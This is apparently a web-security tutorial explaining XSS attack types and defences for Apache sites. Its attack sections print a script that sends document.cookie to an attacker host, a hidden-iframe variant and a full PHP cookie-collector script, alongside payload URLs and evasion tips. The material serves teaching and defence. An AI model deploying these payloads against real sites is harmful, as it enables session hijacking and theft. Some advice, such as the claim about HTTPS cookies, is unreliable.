Securing Apache, Part 2 - XSS Injections
Grabbing second position in OWASP’s latest Top Ten
critical Web application security risks — after SQL injection flaws
— is XSS. (By the way, the different first letter is used to avoid
confusion with CSS — Cascading Style Sheets.) The security
consortium says that XSS accounts for about 39 per cent of
vulnerabilities in Web applications.
So what is XSS?
OWASP defines XSS as a flaw that occurs when an
application includes user-supplied data in a page sent back to the
browser, without properly validating or escaping that data. XSS
attacks are essentially code-injection attacks, which exploit the
interpretation process of the Web application in the browser.
These attacks are carried out mainly on online
message boards, blogs, guest books, and user forums (collectively
called “boards”, in the rest of the article), where messages are
permanently stored. They are created using HTML, JavaScript,
VBScript, ActiveX, Flash, and other client-side scripting
technologies.
The goal of an XSS attack is to steal client
authentication cookies, and any other sensitive information that can
authenticate the client to the website. With a captured (legitimate)
user token, an attacker can impersonate the user, leading to identity
theft.
Unlike most attacks, which involve two parties (the
attacker and the website, or the attacker and the victim/client), the
XSS attack involves three parties: the attacker, the victim/client,
and the website.
An XSS attack tricks a legitimate user by posting a
message to the board with a link to a seemingly harmless site, which
subtly encodes a script that attacks the users once they click the
link. This seemingly harmless website can be (and is, in many cases)
a phishing clone of a page in the original website the user is
browsing; it may prompt users for their username and password.
Alternately, it may be just a “thank you” page, which steals the
users’ cookies in the background, without their knowledge.
Phishing is an Internet scam where the user is
convinced to supply valuable information (such as the username and
password) to a malicious website that has been designed to closely
resemble a legitimate website. The user is directed to it via links
in bulk/spam emails, instant messages, etc. The majority of these can
be avoided by carefully scrutinising the links and not clicking
doubtful links; also check the URL bar (address box) of the browser
to verify if you have arrived at a trusted site, before you enter
your login credentials.
How an XSS attack works
XSS exploit code is typically (but not always)
written in HTML/JavaScript to execute in the victim’s browser. The
server is merely the host for the malicious code. The attacker only
uses the trusted website as a conduit to perform the attack.
Typical XSS attacks are the result of flaws in
server-side Web applications, and are rooted in user input which is
not properly sanitised for HTML characters. If the attackers can
insert arbitrary HTML, then they could control the execution of the
page under the permissions of the site. Common points where XSS
opportunities exist for an attacker are “confirmation” or
“result” pages (for example, search engines that echo back the
user-input search string) or form-submission error pages that help
the user by filling in parts of the form which were correctly
entered.
A simple PHP page containing code like the following,
is vulnerable to XSS!
<?php echo "Hello,
{$HTTP_GET_VARS['name']}!"; ?>
|
Once the page containing this code is accessed, the variable sent via the GET method (a.k.a. querystring) is output directly to the page that PHP is rendering. If you pass legitimate data (for example, the string “Arpit Bajpai”) as an argument, the URL would be something like http://localhost/hello.php?name=Arpit%20Bajpai (assuming you’re running the server locally on your system, which you should be if you are trying this out). The output of this is harmless, as shown in Figure 1.
Figure 1: Harmless submission
Now, for a little tampering in the URL, we change it
to: http://localhost/hello.php?name=<h1><u>Hacked</u></h1>
Figure 2: Unescaped ‘attack’ output
As in most cases, the main aim of an XSS attack is to
steal the user’s authentication cookie. Shown below is a typical
XSS attack attempt that has been done by posting malicious JavaScript
to an online message board, and grabbing the user’s cookie.
<script>document.location="http://attackerserver/cookie.php?c="+document.cookie</script>
|
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP:
'.$ip.'<br> Date and Time:
'.$date.'<br> Referer:
'.$referer.'<br><br><br>');
fclose($fp);
header ("Location:
http://www.vulnerablesite.com");
?>
<HTML></HTML>
|
<iframe frameborder=0 height=0 width=0
src=javascript:void(document.location=
“http://attackerserver/cookie.php?c=“+document.cookie)></iframe>
|
When victims click on the link containing this
malicious code, they might get redirected to the home page, but their
cookies will be sent to the cookie.php “cookie fetcher” PHP
script on the attacker’s server. A typical cookie fetcher script
might look like what’s shown below:
This file will retrieve the cookies and append them
to a cookie.html file on the attacker’s server. Other details saved
at the same time include the IP address of the victim’s Net
connection, the date and time at which the cookie was fetched, and
the HTTP referrer — i.e., the site on which the victim clicked the
malicious link to the attacker’s cookie.php.
With this information, the attacker can then connect
to the board website, supplying the captured cookie, and thus
pretending to be the victim user.
Now, most savvy victims get suspicious when they are
redirected to the home page, or see something unusual, which is not
part of the Web application’s normal execution. For such victims,
attackers mostly prefer using IFRAMEs in their attack script, like
what’s shown below:
When victims click the message with the above script
in the body, they will experience nothing unusual in the
application’s normal behaviour — yet, their cookies will be sent
to cookie.php on the attacker’s server. This is how a typical XSS
attack is done.
Types of XSS vulnerabilities
Most XSS vulnerabilities are classified into three
types, based on how the attacker exploits the processing of the code
they injected, by the Web application. These types are:
-
Persistent or stored vulnerabilities
-
Non-persistent or reflected vulnerabilities
-
DOM-based or local vulnerabilities
Let’s look at each of these in turn.
Persistent or stored vulnerabilities
The persistent XSS vulnerability is the most powerful
and effective of all. It exists when data that’s provided to a Web
application by a user is first stored persistently on the server (in
a database, file system, or other storage), and later displayed to
users in a Web page without being properly sanitised.
The attack scenario on an online message board, given
above, is a classic example of this. An attack based on a persistent
vulnerability is visualised in Figure 3.
Figure 3: Visualisation of persistent XSS
vulnerability
The procedure is that the attacker first injects a
malicious script through an input Web form. This is then stored by
the server in its database. When any user requests the page, the
malicious script is rendered into it. Anyone who clicks the link (or
merely views the message, in case of the IFRAME-based attack) becomes
a victim, as the malicious script is executed in the victim’s
browser, passing the authentication cookies back to the attacker.
This type of vulnerability is very effective, since
the attacker can target several users of the server — whoever
clicks on the link or message.
Non-persistent or reflected vulnerabilities
The non-persistent XSS vulnerability is by far the
most widely exploited. This type of XSS vulnerability is commonly
triggered by server-side scripts that use non-sanitised user-supplied
data when rendering the HTML document.
For example, an attacker finds an XSS vulnerability
in a Web application, where the application’s script displays the
criteria used in the website query, as well as the results for the
query. The usual URL in the browser might be
http://www.example.com/search.php?query=products. Normally, this link
would display products available from the website. Once the attackers
find the vulnerability, in an effort to hijack the victim’s
credentials, they might post a modified link (which changes the known
variables) to the victim:
http://www.example.com/search.php?query=<script>alert(document.cookie)</script>
Clicking this link will cause the victims’ browser
to pop up an alert box showing their current set of cookies. This
particular example is harmless; an attacker can do much more damage,
including stealing passwords, resetting the victim’s home page, or
redirecting the victim to another website, by using modified
JavaScript code.
A visualisation of an attack using a reflected
vulnerability is shown in Figure 4.
Figure 4: Stepwise attack using reflected
vulnerability
Now, embedding such bulky scripts might draw the
victim’s attention, so attackers simply convert these into
hexadecimal format using one of the many converters available, such
as http://code.cside.com/3rdpage/us/url/converter.html. Moreover, if
the malicious script is quite big, then URL-shortening services like
Tiny URL are used to create a short URL that maps to the long one.
DOM-based or local vulnerabilities
DOM-based XSS vulnerabilities exist within the sites’
HTML (as a static script) and can be exploited non-persistently. A
brief example of a DOM-based XSS vulnerability would be a static
script embedded in a page, which, when executed, uses a DOM function
like document.write to display the results of a POST variable.
The only real difference in the DOM-based
vulnerability is that the server doesn’t send back the results;
instead, the DOM parses the code locally, and the malicious script is
executed with the same privilege as the browser on the victim’s
machine. Consider a scenario where a vulnerable site has the
following content (named, for example,
http://www.example.com/welcome.html):
Normally, the code in this page would welcome the
user, if invoked with the following URL:
http://www.example.com/welcome.html?name=Joe
However, a little tampering with this URL results in
displaying the users’ cookies in their browser, if they click the
URL hyperlink:
http://www.example.com/welcome.html?name=<script>alert(document.cookie)</script>
What happens is that to open this URL, the victim’s
browser sends an HTTP request to www.example.com. It receives the
above (static) HTML page. The victim’s browser then starts parsing
this HTML into DOM. In this case, the code references document.URL,
and so, a part of this string is embedded at parsing time in the
HTML. It is then immediately parsed, and the malicious JavaScript
code passed through the URL is executed in the context of the same
page, resulting in an XSS attack.
You might realise here that the payload did arrive at
the server (in the query part of the HTTP request), and so it could
be detected just like any other XSS attack — but attackers even
take care of that with something like the following:
http://www.example.com/welcome.html#name=<script>alert(document.cookie)<script>
Notice the hash sign (#) used here; it tells the
browser that everything beyond it is a fragment, and not part of the
query. IE (6.0) and Mozilla do not send the fragment to the server,
and for these browsers, the server would only see
http://www.example.com/welcome.html, with the payload remaining
hidden.
Latest trends in XSS
Meta-information XSS (miXSS)
This new type of XSS vulnerability has emerged
recently, and exploits commonly used network administration
utilities. It is found in those services that utilise valid
user-provided input to gather data and display it for the user. It is
in this data that the cross-site scripting occurs. Attackers can
extract information about network administration utilities. Websites
that allow you to perform DNS resolution, and websites that verify
SPF records are more vulnerable to miXSS attacks. To learn more about
miXSS, check the resources at the end of this article.
XSS Shell
The XSS Shell is a tool that can be used to set up an
XSS channel between a victim and an attacker, so that an attacker can
control a victim’s browser, sending it commands. The communication
is bi-directional.
XSS Tunnel
This is a GPL-licensed open source application
written in .NET, and is the standard HTTP proxy which sits on an
attacker’s system. It enables tunnelling of HTTP traffic through an
XSS channel, to use virtually any application that supports HTTP
proxies.
XSS causing DDoS attacks
Recent trends have seen attackers using
XSS-vulnerable sites as an initiator step in performing DDoS
(Distributed Denial of Service) attacks. They trick users into
downloading and installing plugins. When the user clicks the download
link, besides the plugin, a worm or bot (in most cases) gets
installed in the background. This worm/bot can give the attacker full
privileges over the user’s system, and the attacker can then use it
to perform DoS attacks, or to spread the botnet.
Botnet: A botnet is an alliance of interconnected
computers infected with some malicious software agent (called a bot).
Bots are commanded by an operator, and can typically be ordered to
send spam mails, harvest information such as license keys or banking
data on compromised machines; or launch distributed denial-of-service
(DDoS) attacks against arbitrary targets.
Securing a server against XSS
Cross-site scripting is a potential risk for most Web
servers and browsers. Attackers are constantly coming up with new
types of this attack, but the following best practices can help you
secure your system against attackers.
For clients or users
Take a serious and suspicious view of emails or spam
mail that contain big, bulky and suspicious URLs. Don’t click such
links, even if they are to known and trusted sites. Many of these
messages try various tricks to coax you into clicking the link. Some
of these include offers to make you financially strong and
independent; others threaten that you will lose your account on a
(legitimate) website unless you “confirm your username and password
immediately”. Think hard and deep before you click such links,
especially with the knowledge you have gained from this article.
Obviously, exercise the same level of caution on online message
boards and social networking sites as well.
Recent versions of Mozilla Firefox display good
security features. For example, Firefox automatically encodes <
and > (into %3C and %3E, respectively) in the document.URL
property, when the URL is not directly typed into the address bar.
Therefore, it is not vulnerable to DOM-based attacks. For additional
security, install browser addons (extensions) such as NoScript,
FlashBlock, and the Netcraft toolbar.
You could also try using the Google Chrome browser,
which is released with integrated XSS protection.
If a link is to a URL-shortening service like “tiny”,
“tinyurl”, “bit.ly”, “is.gd”, “shorturl”, “snipurl”,
etc., be careful when clicking the link. You may even want to install
a second browser for “untrusted” sites; in this browser, do not
sign in to any of your trusted and valuable sites, but use it to
visit suspicious URLs. If there is actually an attack behind the URL,
even if successful, it will probably not net the attacker any useful
cookies.
For developers
The best way to check your website for
vulnerabilities is to run a Web application security scan against a
local copy of it. The best FOSS project available for this is Nikto.
The next preferred option is to properly escape all
untrustworthy data, based on the HTML context (body, attribute,
JavaScript, CSS, or URL) that the data will be placed into.
Developers need to include this escaping in their applications. See
the OWASP
XSS Prevention Cheat Sheet for more information about data
escaping techniques.
Filtering script output can also defeat XSS
vulnerabilities by preventing them from being transmitted to users.
When filtering dynamic content, select the set of characters that is
known to be safe, instead of trying to exclude the set of characters
that might be bad. This is preferable because it’s unclear whether
there could be any other characters or character combinations that
can be used to expose other vulnerabilities.
Check all headers, cookies, query strings, form and
hidden fields, and all other parameters against tags such as
<script>, <object>, <applet>, <form>, and
<embed>. Also, do not echo any input value without validation.
Do not store plain-text or weakly encrypted
passwords/contents in a cookie. Merely hashing the password with MD5
is not strong, since they are just 16 bytes in length, and hence can
easily be deciphered with a brute-force method.
If possible/practicable, the cookie’s
authentication credentials should be associated with a source IP
address. Discovering the same cookie coming from different IPs should
raise a red flag.
If possible, eliminate single sign-on, and apply
password re-verification to avoid session takeover attacks. An attack
against a site running with single sign-on has a better chance of
being executed without the user noticing.
Using free hosting sites is an essential building
block in the attackers’ scheme. Free hosting sites need to be more
vigilant about who uses their services, and enterprises should
consider blacklisting suspicious IP addresses. Also, if people host
scripts like cookie fetchers, they should be monitored for illegal
activities on the site.
Cookies sent over HTTP(S) cannot be accessed by
script via document.cookie so try sending cookies over HTTPS only.
Also, try using the POST method for form submissions, instead of GET.
Tools of the security trade
-
Dotdefender is a Web application attack protection tool that blocks attacks that are manifested within the HTTP request logic. It works perfectly for SQL injection, cross-site scripting, and header tampering. View its documentation here.
-
KeepNI immediately alerts you if there is any malfunction detected on your website. It assures that your site is fully functional all the time. View its documentation here.
-
Web application firewalls check for malicious input values and modification of read-only parameters and also block requests and filter out parameters. Their biggest benefit is to protect old (legacy) applications that are insecure.
Since XSS exploits the trust the user has in the
website, it is equally relevant that the user remains extremely
cautious. For more detailed information on XSS and more defenses,
don’t forget to visit the Resources section below. We will deal
with other dangerous attacks on Web applications and Apache in the
next article. Meanwhile, you can leave your queries and constructive
feedback in comments.
Always remember: know hacking, but no hacking!
Resources
-
Meta-Information Cross Site Scripting [PDF]
-
xssed.com is one of the best resources for XSS information
-
Syngress’s XSS Attacks Cross Site Scripting Exploits and Defense by Jeremiah Grossman, Robert ‘Rsnake’ Hansen and others, is a must-read for those who are really interested.
Linuxforu
Comments
Post a Comment